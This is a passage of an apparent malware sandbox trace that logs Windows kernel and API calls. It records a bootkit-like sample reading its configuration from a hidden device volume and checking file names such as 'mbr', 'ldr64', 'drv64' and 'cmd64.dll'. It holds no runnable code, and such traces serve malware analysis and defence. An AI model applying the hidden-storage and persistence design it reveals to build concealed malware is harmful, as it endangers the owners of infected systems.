PriorityBoost=0) [0123.408] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.408] KeEnterCriticalRegion () [0123.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a2000 [0123.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.408] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.408] IdePortDispatch () returned 0x103 [0123.409] KeWaitForMutexObject () returned 0x0 [0123.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.409] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.409] IdePortDispatch () returned 0x103 [0123.409] KeWaitForMutexObject () returned 0x0 [0123.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.409] KeLeaveCriticalRegion () [0123.409] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.409] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.409] KeEnterCriticalRegion () [0123.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.410] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.410] KeLeaveCriticalRegion () [0123.410] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.410] KeEnterCriticalRegion () [0123.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.410] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.410] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.410] KeLeaveCriticalRegion () [0123.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.410] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.410] KeEnterCriticalRegion () [0123.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.410] ExFreePoolWithTag (P=0xfffffa8003bebcf0, Tag=0x0) [0123.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.410] KeLeaveCriticalRegion () [0123.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.410] ReleaseMutex (hMutex=0xf0) returned 1 [0123.410] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.410] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.410] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.410] KeEnterCriticalRegion () [0123.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.410] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.410] IdePortDispatch () returned 0x103 [0123.410] KeWaitForMutexObject () returned 0x0 [0123.410] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.410] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.410] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.410] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.410] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.410] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea130 [0123.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.410] KeLeaveCriticalRegion () [0123.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.411] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.411] KeEnterCriticalRegion () [0123.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.411] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.411] KeLeaveCriticalRegion () [0123.411] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.411] KeEnterCriticalRegion () [0123.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.411] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.411] IdePortDispatch () returned 0x103 [0123.411] KeWaitForMutexObject () returned 0x0 [0123.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.411] KeLeaveCriticalRegion () [0123.411] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.411] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.411] KeEnterCriticalRegion () [0123.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.411] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a3000 [0123.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.411] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.411] IdePortDispatch () returned 0x103 [0123.411] KeWaitForMutexObject () returned 0x0 [0123.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.412] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.412] IdePortDispatch () returned 0x103 [0123.412] KeWaitForMutexObject () returned 0x0 [0123.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.412] KeLeaveCriticalRegion () [0123.412] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.412] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.412] KeEnterCriticalRegion () [0123.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.412] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.412] KeLeaveCriticalRegion () [0123.412] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.412] KeEnterCriticalRegion () [0123.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.412] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.412] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.413] KeLeaveCriticalRegion () [0123.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.413] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.413] KeEnterCriticalRegion () [0123.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.413] ExFreePoolWithTag (P=0xfffffa8003bea130, Tag=0x0) [0123.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.413] KeLeaveCriticalRegion () [0123.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.413] ReleaseMutex (hMutex=0xf0) returned 1 [0123.413] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.413] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.413] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.413] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.413] KeEnterCriticalRegion () [0123.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.413] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.413] IdePortDispatch () returned 0x103 [0123.413] KeWaitForMutexObject () returned 0x0 [0123.413] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.413] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.413] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.413] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.413] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.413] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.413] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.413] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.413] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.413] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.414] KeLeaveCriticalRegion () [0123.414] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.414] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.414] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.414] KeEnterCriticalRegion () [0123.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.414] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.414] IdePortDispatch () returned 0x103 [0123.415] KeWaitForMutexObject () returned 0x0 [0123.415] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.415] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.415] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.415] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.415] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.415] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.415] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.415] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.415] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.415] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.415] KeLeaveCriticalRegion () [0123.415] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.415] ReleaseMutex (hMutex=0x100) returned 1 [0123.415] Sleep (dwMilliseconds=0x2bf20) [0123.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cc396d0, dwHighDateTime=0x1d24fa4)) [0123.421] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.421] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.422] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.422] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.422] KeEnterCriticalRegion () [0123.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.422] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.422] IdePortDispatch () returned 0x103 [0123.422] KeWaitForMutexObject () returned 0x0 [0123.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.422] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.422] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.422] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.422] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.422] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebb40 [0123.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.422] KeLeaveCriticalRegion () [0123.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.422] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.422] KeEnterCriticalRegion () [0123.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.422] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.422] KeLeaveCriticalRegion () [0123.422] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.422] KeEnterCriticalRegion () [0123.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.422] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.422] IdePortDispatch () returned 0x103 [0123.422] KeWaitForMutexObject () returned 0x0 [0123.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.423] KeLeaveCriticalRegion () [0123.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.423] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.423] KeEnterCriticalRegion () [0123.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.423] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a6000 [0123.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.423] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.423] IdePortDispatch () returned 0x103 [0123.423] KeWaitForMutexObject () returned 0x0 [0123.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.423] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.423] IdePortDispatch () returned 0x103 [0123.423] KeWaitForMutexObject () returned 0x0 [0123.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.423] KeLeaveCriticalRegion () [0123.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.424] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.424] KeEnterCriticalRegion () [0123.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.424] KeLeaveCriticalRegion () [0123.424] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.424] KeEnterCriticalRegion () [0123.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.424] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.424] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.424] KeLeaveCriticalRegion () [0123.424] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.424] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.424] KeEnterCriticalRegion () [0123.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.424] ExFreePoolWithTag (P=0xfffffa8003bebb40, Tag=0x0) [0123.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.424] KeLeaveCriticalRegion () [0123.424] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.424] ReleaseMutex (hMutex=0xf0) returned 1 [0123.424] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.424] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.424] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.424] KeEnterCriticalRegion () [0123.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 